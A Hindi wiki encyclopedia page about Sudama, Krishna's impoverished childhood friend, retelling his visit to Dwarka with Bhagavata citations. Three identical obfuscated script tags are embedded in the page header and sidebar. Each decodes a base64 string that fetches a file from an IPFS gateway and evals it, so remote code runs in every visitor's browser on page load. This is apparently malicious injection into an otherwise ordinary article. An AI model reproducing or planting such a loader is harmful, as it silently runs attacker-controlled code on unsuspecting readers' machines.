सुदामा

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
आदित्य चौधरी (चर्चा | योगदान) द्वारा परिवर्तित १०:५८, ५ जनवरी २०१० का अवतरण (Text replace - 'जरूर' to 'ज़रूर')
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • कृष्ण सम्बंधित लेख
    • कृष्ण|कृष्ण
    • कृष्ण संदर्भ|कृष्ण संदर्भ
    • कृष्ण काल|कृष्ण काल
    • कृष्ण वंशावली|कृष्ण वंशावली
    • कृष्ण जन्मभूमि|कृष्ण जन्मस्थान
    • कृष्ण और महाभारत|कृष्ण और महाभारत
    • गीता|गीता
    • राधा|राधा
    • देवकी|देवकी
    • गोपी|गोपी
    • अक्रूर|अक्रूर
    • अंधक|अंधक
    • कंस|कंस
    • द्वारका|द्वारका
    • यशोदा|यशोदा
    • रंगेश्वर महादेव|रंगेश्वर महादेव
    • वृष्णि संघ|वृष्णि संघ
    • पूतना-वध|पूतना-वध
    • शकटासुर-वध|शकटासुर-वध
    • उद्धव|उद्धव
    • प्रद्युम्न|प्रद्युम्न
    • सुदामा|सुदामा
    • अनिरुद्ध|अनिरुद्ध
    • उषा|उषा
    • कालयवन|कालयवन

</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सुदामा / Sudama

  • भगवान श्रीकृष्ण जब अवन्ती में महर्षि सान्दीपनि के यहाँ शिक्षा प्राप्त करने के लिये गये, तब सुदामा जी भी वहीं पढ़ते थे। वहाँ भगवान श्रीकृष्ण से सुदामा जी की गहरी मित्रता हो गयी। भगवान श्रीकृष्ण तो बहुत थोड़े दिनों में अपनी शिक्षा पूर्ण करके चले गये। सुदामा जी की जब शिक्षा पूर्ण हुई, तब गुरूदेव की आज्ञा लेकर वे भी अपनी जन्मभूमि को लौट गये और विवाह करके गृहस्थाश्रम में रहने लगे। दरिद्रता तो जैसे सुदामा जी की चिरसंगिनी ही थी। एक टूटी झोपड़ी, दो-चार पात्र और लज्जा ढकने के लिये कुछ मैले और चिथड़े वस्त्र- सुदामाजी की कुल इतनी ही गृहस्थी थी। जन्म से संतोषी सुदामा जी किसी से कुछ माँगते नहीं थे। जो कुछ बिना माँगे मिल जाय, उसी को भगवान को अर्पण करके उसी पर अपना तथा पत्नी का जीवन निर्वाह करते थे। प्राय: पति-पत्नी को उपवास ही करना पड़ता था।
  • सुदामाजी प्राय: नित्य ही भगवान श्रीकृष्ण की उदारता और उनसे अपनी मित्रता की पत्नी से चर्चा किया करते थे। एक दिन डरते-डरते सुदामा की पत्नी ने उनसे कहा- 'स्वामी! ब्राह्मणों के परम भक्त साक्षात लक्ष्मीपति श्रीकृष्णचन्द्र आपके मित्र हैं। आप एक बार उनके पास जायँ। आप दरिद्रता के कारण अपार कष्ट पा रहे हैं। भगवान श्रीकृष्ण आपको अवश्य ही प्रचुर धन देंगे।'
  • ब्राह्मणी के आग्रह को स्वीकार कर श्रीकृष्ण दर्शन की लालसा मन में सँजोये हुए सुदामा जी कई दिनों की यात्रा करके द्वारका पहुँचे। चिथड़े लपेटे कंगाल ब्राह्मण को देखकर द्वारपाल को आश्चर्य हुआ। ब्राह्मण जानकर उसने सुदामा को प्रणाम किया। जब सुदामा ने अपने-आपको भगवान का मित्र बतलाया तब वह आश्चर्यचकित रह गया। नियमानुसार सुदामा को द्वार पर ठहराकर द्वारपाल भीतर आदेश लेने गया। द्वारपाल श्रद्धापूर्वक प्रभु को साष्टांग प्रणाम करके बोला— 'प्रभो! चिथड़े लपेटे द्वार पर एक अत्यन्त दीन और दुर्बल ब्राह्मण खड़ा है। वह अपने को प्रभु का मित्र कहता है और अपना नाम सुदामा बतलाता है।'
  • 'सुदामा' शब्द सुनते ही भगवान श्रीकृष्ण ने जैसे अपनी सुध-बुध खो दी और नंगे पाँव दौड़ पड़े द्वार की ओर। दोनों बाहें फैलाकर उन्होंने सुदामा को हृदय से लगा लिया। भगवान की दीनवत्सलता देखकर सुदामा की आँखें बरस पड़ी। तदनन्तर भगवान श्रीकृष्ण सुदामा को अपने महल में ले गये। उन्होंने बचपन के प्रिय सखा को अपने पलंग पर बैठाकर उनका चरण धोना प्रारम्भ किया। सुदामा की दीन-दशा को देखकर चरण धोने के लिये रखे गये जल को स्पर्श करने की आवश्यकता ही नहीं पड़ी। करूणा सागर के नेत्रों की वर्षा से ही मित्र के पैर धुल गये। *भोजनोपरान्त भगवान श्रीकृष्ण ने हँसते हुए सुदामा जी से पूछा- 'भाई! आप मेरे लिये क्या भेंट लाये हैं? अतुल ऐश्वर्य के स्वामी भगवान श्रीकृष्ण को पत्नी के द्वारा प्रदत्त शुष्क चिउरे देने में सुदामा संकोच कर रहे थे। भगवान ने कहा- 'मित्र! आप मुझसे ज़रूर कुछ छिपा रहे हो' ऐसा कहते हुए उन्होंने सुदामा की पोटली खींच ली और एक मुठी चिउरे मुख में डालते हुए भगवान ने उससे सम्पूर्ण विश्व को तृप्त कर दिया। अब सुदामा जी साधारण गरीब ब्राह्मण नहीं रहे। उनके अनजान में ही भगवान ने उन्हें अतुल ऐश्वर्य का स्वामी बना दिया। घर वापस लौटने पर देव दुर्लभ सम्पत्ति सुदामा की प्रतीक्षा में तैयार मिली, किंतु सुदामा जी ऐश्वर्य पाकर भी अनासक्त मन से भगवान के भजन में लगे रहे। करूणा सिन्धु के दीनसखा सुदामा ब्रह्मत्व को प्राप्त हुए।

श्रीमद् भागवत में

  • मथुरा पहुंचने के बाद कंस के उत्सव में भाग लेने से पूर्व कृष्ण तथा बलराम नगर का सौंदर्य देखते रहे। बाल-गोपालों सहित वे 'सुदामा' नामक माली के घर गये। सुदामा से अनेक मालाएं लेकर उन्होंने अपनी साज-सज्जा की तथा उसे वर दिया कि उसकी लक्ष्मी, बल, वायु और कीर्ति का निरंतर विकास हो।<balloon title="श्रीमद् भागवत, 10।41" style=color:blue>*</balloon>
  • श्रीकृष्ण और बलराम जब गुरुकुल में रहकर गुरु संदीपनि से विद्याध्ययन कर रहे थे, उन दिनों उनके साथ सुदामा नामक ब्राह्मण भी पढ़ता था। वह नितांत दरिद्र था। कालांतर में कृष्ण की कीर्ति सब ओर फैल गयी तो सुदामा की पत्नी ने सुदामा को कह-सुनकर कृष्ण के पास जाने के लिए तैयार किया। उसके मन में यह इच्छा भी थी कि कृष्ण के पास जाने से दारिद्रय से मुक्ति मिल जायेगी। सुदामा अत्यंत संकोच के साथ घर से चला। उनकी पत्नी ने कृष्ण को भेंटस्वरूप देने के लिए आस-पास के ब्राह्मणों से दो मुट्ठी चिवड़ा मांगा। सुदामा पहुंचा तो कृष् ने उसकी पूर्ण तन्मयता से आवभगत की। कृष्ण के ऐश्वर्य को देखकर सुदामा चिवड़े की भेंट नहीं दे पाया। रात को कृष्ण ने उससे बलपूर्वक पोटली छीन ली और चिवड़ा खाकर प्रसन्न् हुए। उसे सुंदर शय्या पर सुलाया किंतु उसके चलने पर उसे कुछ भी नहीं दिया। सुदामा सोचता जा रहा था कि उसे इसी कारण से धन नहीं दिया गया होगा कि कहीं वह मदमत्त न हो जाये। विचारमग्न ब्राह्मण घर पहुंचा तो देखा, उसकी कुटिया के स्थान पर वैभवमंडित महल है। उसकी पत्नी स्वर्णाभूषणों से लदी हुई तथा सेविकाओं से घिरी हुई है। कृष्ण की कृपा से अभिभूत होकर सुदामा अपनी पत्नी सहित उनकी भक्ति मे लग गया।<balloon title="श्रीमद् भागवत, 10।80-81।" style=color:blue>*</balloon>